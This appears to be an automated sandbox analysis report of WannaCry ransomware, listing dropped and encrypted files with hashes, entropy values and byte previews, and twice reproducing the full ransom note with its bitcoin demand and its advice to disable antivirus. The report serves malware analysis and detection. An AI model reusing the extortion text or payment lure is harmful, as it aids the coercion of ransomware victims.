                                    Preview:....v6....3...7.......+....\q...g }6.\.g...A..b..b.).kaH..2*....*.r.W.ak...T@^`.So.......S.9..A....i.....r.?.g..s.....k"g......I...Ay.b..hg..{\.`?..c...}..n..G.......|.....<.4.@.......k.....('.`zT..|.f...gQ.>o.f...E...6...i.....:9s.j}K.V..& f...a...r..)...)....9.l&t.=..hc.Q.....Sk.zR..|\..M... ..#.....,R.j.....?wl..W...Hq.J.5..Y`.L.kvX..0.c..V.V.A...~4...O../%..hN1.c.&..2c.w..A.+>..k..k.....U.W../.]..XX......[..J..5..iL......0.z.D...!ATN3..C]0%...-..`...{.M...J......;...\y...#.%`........x...&~..j.nx..)..1./.0.....h..i.4@....D.\./.Z...N!?...q@.......>.Na\h..6....w.b.../...;.'.0.X.....4T.q...~q...3.{........i....P.........sM....V.>.....o.;]9..B..N..*..-.F...~;.@g.\.'5H...CFmCU.?..........Y.....(g....~.;.....g........<*b.o."~-.U........,`{.q. -.....dM..S..x..r.i.}.B(..:..E[FY.VK5q.....\.6...p..jW.}HY.dL......m:..S.o.Q<..j......}c8....E.m.{:..:#.l..a.... ....u........:...z..B.j+.#QEQ4.p.Z&W..M.....q..K.......>j...W......p..P..T......c.F...#.....@..0

                                    C:\Users\user~1\AppData\Local\Temp\89.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.854549435239728
                                    Encrypted:false
                                    SSDEEP:24:QOW8gCe3C+NjLtDbAe/UrORjTwcdW7c8cV4QQ3G4NkpcVr:Q1VHZPPA4JNAcn4z3+cVr
                                    MD5:5DB99F501EF27D33D6CC885A59B3A00A
                                    SHA1:9487DCB1CBB011933CA59193EDBA9854F7816C18
                                    SHA-256:3988CF8EF9F86B48E398FB06CBC530E710676292F3F061EBBF29154EAA6D92F5
                                    SHA-512:7CB913CF92B33B30C8B19EB0AE47E1934D58F77152FF1D8597345984B096C1019199AAD4A47CF51273C17850C275132BE2173DEF505377E4133B78695D4D6359
                                    Malicious:false
                                    Preview:{%..15.k.>G....<.o'.)'..M..<:8..X..].....+..Z.d.Y.U..x[...".8..q...jvl....)ZL#~c.....h....n.(T.e..J...B..s.n.Z..1M.;......<..Q.I..C.....O'.H,..U,K`d.....l.Y1..\.g&.S..@....a{..+..0.n:+...v.|a.?..5...s.!........{..<m.......1.."....XF..=..r...Nf..y^.GH.*:...M..`.........#...v>..d.3P|4...k_.....<.h...=.c..8.=...u....kw.h~i.....~&...^PV.t@-.v\F^.x`..oU4.....oV..\y..B....>X..E.Jz..t....f%..iZ.H...L....^....Qg%..8.d...~..|.W..3Gh..U..P....).vBJ......S....aL.A.6.}m...v.l.w..F(.....~f..i..z...w..a.D..2......0.[...S.\...*N..:.2.`*u.b^.|..F...:7|ll./.. ..xr~.....k#a..8...p.w;.h.q.....w..K]..i.}. t...'..p;.b.v....h>..u.....S.<.....U..F..w.w.. tG........o..$......_.m..7]$........g.2.}.P...>...43A01.E.69.~...n.:x.c+......V~.....e....%....,bt.......ca.g........'m.+. ....>;.8....d....?@.5./F.T.He..F.....-.'d.%Winq.[]..!.D..$,T.EI.UG~...8.p<.'.5?.v6...g..S..3BdR...j.8..T.....b..:.+L.KY.B.P.pn.R6....`...uV'3..K.7....u...)... .....g.R.d7

                                    C:\Users\user~1\AppData\Local\Temp\9.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.795029113696736
                                    Encrypted:false
                                    SSDEEP:24:mcHrefORSf4TnlQ+0x0kwCY6kW68Sz0u+H/DrZffGQf:bHrAhfWlQH2DCY6169Z+fXZffG+
                                    MD5:626CB8A0CB9E4DBDFF8E611291B0D3DA
                                    SHA1:1711257AA7A61F3DBD86C86B7BF0491661F3D03A
                                    SHA-256:03CC2A96296E572ACEFD5B13B3666BAC9E5D7EA26E1E27D0EABE84A82E82774F
                                    SHA-512:125ADE14275688690349C976A7D58302DCBA870C31A78CF2D76E38AFC32AEDF2EC5547FF260E640704BF342E68876F4199143D2B2B12BCC85FD685242891B0B3
                                    Malicious:false
                                    Preview:6...j...."@..{...25.'....|../D..4...s.f.v..>3..+8l&...4m9.c....*....kd...".....A..^....7+]#.Q....-...P..i%...r.k.*.....}XI.....p....@y..L....z....t...s..k5X_eTj]...?.!.....>+K......CO.jF.^A......W....K}.~X."_(^6..i.$3......=..S...x6G).z}....+........#.@2...P...v.......x..3....<Eqq:.7R..K2q|.3...<.....|v.....3[.V.o..E...l....9.k..-...............p[.k....X.c...$...;Ko..:Xf!....E...,H.lxYz.7?..*.4.6..^..{.K).~In...)@R\....V..8 ./..R.]....#S...0...?^.+f`."v......v...v>.b..{..".V....K_..o..5E.............a....w."z.h.^3....{..{\.W.j.2...8.,f.dR.x.S...E.......@...m.c.bn.........L.@<...vX!.)......g,......s$.t.7.1,..3.b....q<..W.......=..l..F.?.1[e........1...5.D.d....)]....#..Gm..7:[.].E.I._...p.......N....E....Is\...h..\.o ..9Y/......i...J..2.....Qg......V..[....y.P...CQ....V...D.:..f.......J.>..F..&}....u .c.h..L.W.KX..0.... ..c.uP..1f...[D........S.g...r.7.i. ....N.a....$...H.[m.'.rm..p.....=....S....]s...aA*..h.....,.8.0.&.@4..R

                                    C:\Users\user~1\AppData\Local\Temp\90.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.819236678284539
                                    Encrypted:false
                                    SSDEEP:24:AaKqkueJTIgWNXiaVqOWIb8fyD8duRteFNjzkobM0E0x/eJL:HKCeJTfqyOdbXRYFNJbG0oJL
                                    MD5:B8E06FD07CE9F974F306C034B37BC58C
                                    SHA1:AB6131AD442B94755103161DDA657A6A192D7645
                                    SHA-256:ED6FE428A7DEEEF8ED547252F3C9C864DC4FF77D43885D20708EEB1D85DD9B54
                                    SHA-512:EB5738D9EA44A1D54F80AFE93658E6A563A9FA88101E3E94409C0F5DA1B0B4E2774B68E946B5C6387DC5C4CB4ABF9E3694C413E3F811B0CCADFACA5C44CC9246
                                    Malicious:false
                                    Preview:..z...*..}.v.....B..r...[/...B..~..g.g....5....(...hq...3[!..;0..=....U.m...X...x...m!.)&..u...,.........!.....j...6.+%~...U.Dji...&...<....r....t.......o.+S.|e].7S,.Fz..@.N.T..4...U...19.\.P.=.D.....a....{.v..)........2._}.l..Bm...`1...J....d...j..8a..R..Y...A...._._..........gjpYm.A;.....]?KT....kN5.5...u....+e.:..V...?+3..i...l`$.v._6N..5...[.;@T.J}.W.....*.<.k.,~.m..9p.E.+.Y......F[...o.........N!P..&.U:..........B$TL.-......~# .y7./j....~..G.Q.>.HQ}.Joum...]...'.....JF...)B.+...{......2....x.2Y.......*...A.<L.}.....^.+....wb.[.'....&.,.....a\^..[&...?.F..`....s3Q...[....p...-D...@. .+....t.}....Pb~..i.5...t.,%.8...............~..Y..O..f....S.&..d....b....SQ0.)....F...2.U..Z...*......=...%...EZ..`8C=&..!...g.s.....Q).v.sg6....z....ho.S.d"..i"f...................<_t.6.k..W.[...K.a..I..H..x.z5R.....{;d......Ry.">.}..\....\>Pn3...CI.........../....Ljb...&,.:......M....Z{...m...w4t.k.l.wTv..Y...{.2;ue.A$..(a.qCg..vf.

                                    C:\Users\user~1\AppData\Local\Temp\91.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.820700289750498
                                    Encrypted:false
                                    SSDEEP:24:/sjfgakziUx9W/TXl7U+K54c0/O8dCcZVjkH3+8Yn:2+rEjl7xK54vO56jkXnq
                                    MD5:406C308C3365A12A06C47D77CC54D211
                                    SHA1:CE3A162477B3D719F656D6ABE75842BB8AB460E1
                                    SHA-256:2D1128265FE97D3C4937F1FAAFDC81ABF334706D9BFC83B004FCB8EC66339F3D
                                    SHA-512:586A3C46ADAE4FED79327CBAA37368458CB00B6063303B39F7790E5756BFBF9E6F7931304359E644E07BC343F50856DCB7AAF8FD510090EF06141FA3CE8E4E72
                                    Malicious:false
                                    Preview:...........F.....NP'.../.../[............>"..^........!f.c.....=....g.$...ZB..L.......c...`E5w......<.S4.}...<.".N.iw^...z`..7|......}..#K!....2.......W........7..I|.=[+...}.....9a.!.;..N.....2.....6....*)...cN..xC......\[..&...$.B............?q?f.i1...Py%4....l.o'.Kq....{......ce..lD..-....K)71..FY.r......C.v.,....HGcO.S...u'.7S....[.B....6Z...Qs.a..`......h.. ..+.&G......zg..C.L....Q.]mKiW##.h.~.Hv.....f.Z..zJjv.].bikHg.^...r.........1N..I.9...CqO..G!|3....%5k..>.4[.K.W..B........8.z_ho%Ugk...2N.(!.......Y.N.:B.1.a.~}.]v\..C.A......z..-..C!.?.8.....0..9.....a..oO..;V......._..]...p.._@..>.}.-U.]...5...su.."T..[..4....."...N.@....g.nu.`.2....N.$7.?k.r.tOG6.i.i8......v..Y...R.D......+.J}...'#...OS.....".*.o.(.....}.{H..G.....Q.?...\..>S......AN;uF..a.S...,{.^.....t....\fnbJm..F...s.>.H.3....]|..ux!.cv..z^./.)RW../.....h..L{.p..9...0b.2w.).X..p...zg-..C...\=.......I......-..;*.-!.......Mh.v.7:`. ..,.. v9...n.`.8k.......}=.1.^.t..0...A.C.....3.

                                    C:\Users\user~1\AppData\Local\Temp\92.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.828487885569575
                                    Encrypted:false
                                    SSDEEP:24:GB3bBOM+v3a9Ci9xiY0zVvJikr83JnawdoSanyHlPL:ULBc4iX83JnawmSSyHtL
                                    MD5:CF454DF79A189D13636DEB3FA67E48F0
                                    SHA1:D8CF77FF27CB1FCFA3398418156B2928C584015D
                                    SHA-256:AC8BBC916E16296F56DA50A27A3F8B8D3D7B6135A2CB1B319D475492D26F22AE
                                    SHA-512:3E4522AD861B15D63ED254AABE7CC72597EF6DE2D6E810D1CF774491017B0A20731A24F6B085413D72C169D7CD2311D0CF690F82221421F0D4202874E44DFC52
                                    Malicious:false
                                    Preview:g..k...O5..`......). ......<.wA..{..R.|g8.?.3..].;nHr.V......j1._...mJ.s.{...Lr.P{$..VS........W.*n>....o......%x.MA.....D......V...90..L.......d.1....kg..*..Cf..{.q|2...u.H...@u.>!n..c..'p+..O.`.+.!...c..]|2.... j..H..-%...).:......z.#.m.....;I..oEU@.(.=..h._...8l.o.I..~...^....RX.......B/........;..!.G...E.....=.B..+>!....p.w...~6..w..:K.;x\..`... jh.>.h..i..0..e..;L...t....N.sZ.@...@......."./...<..%.....G..Xj............vA2.....B..>G.z..U.Aa...k.).DX...ow.7.dY.k ...7?.4S.\e.<..'.,..\..-./.F...]S*.M>.&79...FD.....#bp,.;Z...5..)!...w.j.p.....\.....<<(.$.L...m...t7.....w..f:..)k..@>.....`..!4~/....5$">..9...|.6/(..O...\}..$.m.r#.$yLc...P...h..1{b...l.w.a:....J+afJvQ.2.k......b...+.V.?.1cl....Y&L...F.'w..._.R@. .....N.:...V8....!.....Z...-.'.7.Yq.U.iB".r.d.<.[bl....SP...&{{vR.I..K\.......7B...T,Qb.e.M.. x.p.&m...F..D..d........b3.IU;.Q..n..N.....).6.2I.......w...=?j=.H..tT...m.+...Gs......=...\.b....vAa.....a....C ..a....~....'...h+.

                                    C:\Users\user~1\AppData\Local\Temp\93.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7925158714008615
                                    Encrypted:false
                                    SSDEEP:24:PdDySorN6l+dRdcovD9pxFKuX8DCHjtvPU+QZ76+sR7KXVs:P5h80MXdcovD9DLXzjhPBQ1PWGs
                                    MD5:27A20212AE26FE3A7DAB8A76515CA192
                                    SHA1:027C38BB20CC8AD9161ED98121275C490DD09DCB
                                    SHA-256:1690C4E4D5FE7A0AEEA41460ECD5289ABB84AFA56E9B9106A9399494BCFAF8A5
                                    SHA-512:04364EE3667BC99EE31989B6009D53A0666F64FD7E11CA62DBA938CAD492351D43D71871EB7ECA8FFAFE514700B76ADEDCF53F563C68A152BA5AFC6F47EBA699
                                    Malicious:false
                                    Preview:..1..e.X.........IJ8J`hZ.+K..o....^M..g.o..._.$`0...?;.A.H......]......C....,.....v..Pe...;.G/........?N!...Y...b.n.q.W..yk...m[N."I.j......_3.O($>>...._B..T.E..v.(.o.....4...e.J...n.N[.....(.h.<.....P.g".f...J........O../...{{O...w.K.\...>....{.;WS8..;..=..P1....Q.x.......UgS.Z%.6x.+...y4...x.......(.;..~.gz...U.Q...oA.oG.x\.2X.t.8......l.g&.9....ft..kL.N.R&......6m.k.........../x.......KL.;...H.........n...Bw..a.V.."....."|...w..Q\..3...c.l...C.T._.=......^...H.W..0....s....U..Wb..d...{P......!m.~/.x.l|...&.}....`.j0,s..Y..[aP..k...H.a....k..8t.....F.Q...bX.h...H.V..h..$Ql.8...$@.&S#..e..}C.%\........mQ..n.m.}G..d.J.dtPf......[..W.6.....B..c.....{...[..G.k..As.x2H.}.s....*t.j._.....J2....(t...UP..O.v....."..t~.y..h..........9d.....h..=&.p..g..Q.cD.....7.8O ......w..'A...R.*..O#......*6..ZH. J&..+.......X...2#...P.#......t<D...}.x..%....7...[Z..3t.a%..u...W.{.......c....9J.%....d....Y.o...B..y...!M0.ujIf.q...\."....d.LEl0..U"=s"$.....z.

                                    C:\Users\user~1\AppData\Local\Temp\94.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.798235475139515
                                    Encrypted:false
                                    SSDEEP:24:7OH/C47upc5VfX1e9MhDT+iEsW1iz1kOkIyFyK3Kr4/L:7S/CgVfX1eeVT+xIqOkbFcrgL
                                    MD5:46ED4E5FF0E18B63D158923AA7A31B4F
                                    SHA1:589EA0CFF042162E5E7D17E99CC91ED12C189771
                                    SHA-256:4F3ECF1029F83D46D4E34D19F80586229CC461F422DC741984AF2FACD4855A5A
                                    SHA-512:00F2636B2E070BBD7D06DD62D8DD75DA8B30369CF75E085C3795D91B544A1BA995C52AAA6476F4B951BF2FFC2DDD2CD2348C27B22A70E9B2CCA64A7CAA2D0CE8
                                    Malicious:false
                                    Preview:.....~..>..=.i-..+.#....$.:.,..OU2w.m..............!...IU.....Wz.j.%...}GC..b.$......r...^AU..T.KA].p...*....].a.}..z.-)*.Qr@...QO6t.8..`u..........I...Xo/(."@.I8...{;.'.>..S.P....9...%.GqbSK.).H.'.}...\...-|Z.._..m&~./...SD._\U......k....p..u.. C.......*.q(u.I8A.PgyI..g.-..c}..K.O.. J..,...p..D.K.^.kzqq....[..i...X...C.$VX^h8d.G].c..W......"O{...t.E...0.k^q.6..z.b..b!.Pa]pV...T.....tDt.>...u.....[...hn...E.S]...8...&.G....;.Y.d..M....~...^........?~V.K..=..F.z.qYG..X.....a@...~o...o...:.....kNQ...R..z:.z..b......mo;.h.....~:..+..,.X.~HW.7.....}.,O7..`M}J..."*=.g......64.l.'..F.o..4.VN.t.!Y.e..G.....p...2R...e..{j.Z.}.$fE.K.,r.Y..b`.......l.....n.L.?....|...9..u...`.FAS......,..x.....y..j..-...W.=I.pb.1<.....i..@.....f.T.....0.....Z{.|l.4.l=l.......`]..?.).4[*_.r..../..q....R.P.I.K.#...7.q.V'....;?9..G8....n#^..E......n..LM6...z...-\.p.*O.. .c.....4.%..u...._....v."&g..S..e3i..J..\[.+a`b./'......GG.`...b..5..2-;.."-s."{I....

                                    C:\Users\user~1\AppData\Local\Temp\95.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.80405264789803
                                    Encrypted:false
                                    SSDEEP:24:qBRVy6lTArB8/qB+pUExqq1VpZ5OH+vXo9BYSuFXfZCA3/G:yy7rCxD/dOiY9CbB0
                                    MD5:8D4D05088E1DF303D98E2C6BA9D63D79
                                    SHA1:C1BE511E39570B59488858F97261ABC2F4CE2824
                                    SHA-256:308285974611648633F4E99FE5602A7F041ED1E75D49F756EAA0488235C4C5F5
                                    SHA-512:A2A0946192B3CD87B75291FF05C78FB8C8E6A842B9335DC70679A2F95AF2F3F87A721C249CABC71E9B61DA7B849AF8FCB1597F9DC9A5658BCAC2B29415F9FB3A
                                    Malicious:false
                                    Preview:.L.+..%.x.C..o./=.&\>k.......@.7.5.......k.;._.D.....0..]{E...$...B...`.w.2.]..bpqc.....&..Z.....t..}wsC=..6....n.&.......&=..QE..z..=@......6M..vU.w........B.{..E....b.C6....f...t..t.U..y..y......^.N2@R.&..[.7.......z2..go.6..=.. ..yPa[kU...B.v.N....`..b..'F........A..x.......4..w,.<..B..IR.(....Q2./......P).Y....D.._.U.&...U1......q..v..k.z.W}.$.ESb.R....O._..>.x..u......:}..._i+...~.......r..t.I%T...l`[.W.`...&.U.Qt.1s.ed.n......?[.B)CB7dMm.s&...$;.B..m"{v.~..b.w..H....6l.(Y...{.(..!.Q....K.....lq>..0..u...R..7'xyGm.>v./.4..:$=:....0K.3.@.|.m8....a....+.m.X.......b........y.v8...0.....F.^.....bK.........Oub...9...$ntqb..$=.........K...U8.....Z....LD.....]..B.P..zV.y1:b............'5..8.<.OG.....m.b2E<9[.7..k|....i.#A..$,.'.^......<..j..-9LEO.EV..}%pA.(..w`.%._b.....,x....,.@..Z.]Y\^....iL.a...b..<L$(X-(?$.c).ga...u...gu...-)..c.....xC....].$../.G...@#C.bH^@..c...e8........k..........=......$Q..D...@...+GE..Cq...Z+!v.j.O....

                                    C:\Users\user\AppData\Local\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\AppData\Local\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308473525907.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.9981901843944305
                                    Encrypted:true
                                    SSDEEP:3072:HY+oQKJnEMVhIDylKpV/iu6vnU/tiOzIEoB1U0R:xoQKhfIDywVbim3/8
                                    MD5:F3DE134597B043BC3055D9DCF6AC9446
                                    SHA1:C083629B5416F1D13408718F6A87815CA9068100
                                    SHA-256:F945C6BC2F74247D6FD425B0654E0D4842F92ECBF71DB3F99C3F578B1B9FE593
                                    SHA-512:1433D8A6812282E8F84A91B0DECEADF479DF371A17386D5CD111B1BE9A1EA0B36E66F21A5A2667172C6FA5AF549E6D8499AE94D8DA0646EA5D5D6ACD8F21D87E
                                    Malicious:true
                                    Preview:WANACRY!.....6.\.9........aa..Jb.{....G.<.m.}.7.#q......j..M..G.A. .w........ "..)..{.F..=GCA_z.L.J..5...iF..DN..mC7.K.eU}...Y.M.a.x........*...a....$..eQ...A..8.....e.K.Y=........<.Mz.q...v.M.?.u.).E.....-..6/..d.j.SO..k}...;Jp.v....t..(.u.K...B.Z{.d.['....,........?....@+qk....#`s$..s.].&...=S.=..]..@k.....4..R.?..._.tQ.2.....{YTK....S......~.....CX.4c....).....^p.*.?....?..h.%z.i1:x...c...qra.~j. ...S...p..K..R..U.....7`5..l.F>.=.\....wz......-.#.h.........3.3.!e........_.$...(Q-....[6......C.....,!U..Qw.RN......6.........p.>.Q.".O...}..Ey....}......U"...oF.6...a..{B.kY...R.V..`P...`..k........c.......X..u.Ut}.m..`'........Y.RC..b.{i.t......?....._[...X....D.d...~....].IO..~.q/..w..r.Xf6X.....h".....m.y.yH!..{2;5.)Q.e k.m(.....t..R.....Y....D.A..5r.7.>\..2.U8.Y..o..r..X.=.).Tb.2...;......a..H+..&..I...h.....{... t.70..g.f..R.:iq*<......w:..X...X.RT.5...8uo..;..Tu.G.=].....Jt._a.H..jL....N.0.(..K.*...N..m+!..3....JD.u.)..W....}3`p..F...%

                                    C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.999805914687019
                                    Encrypted:true
                                    SSDEEP:24576:r/iaK0Pu1Yp2QxVKBpLOh7ahs28z8AOpEWRq7uVMKFPvwv:r/95p2QTi6U84HpRR/dhy
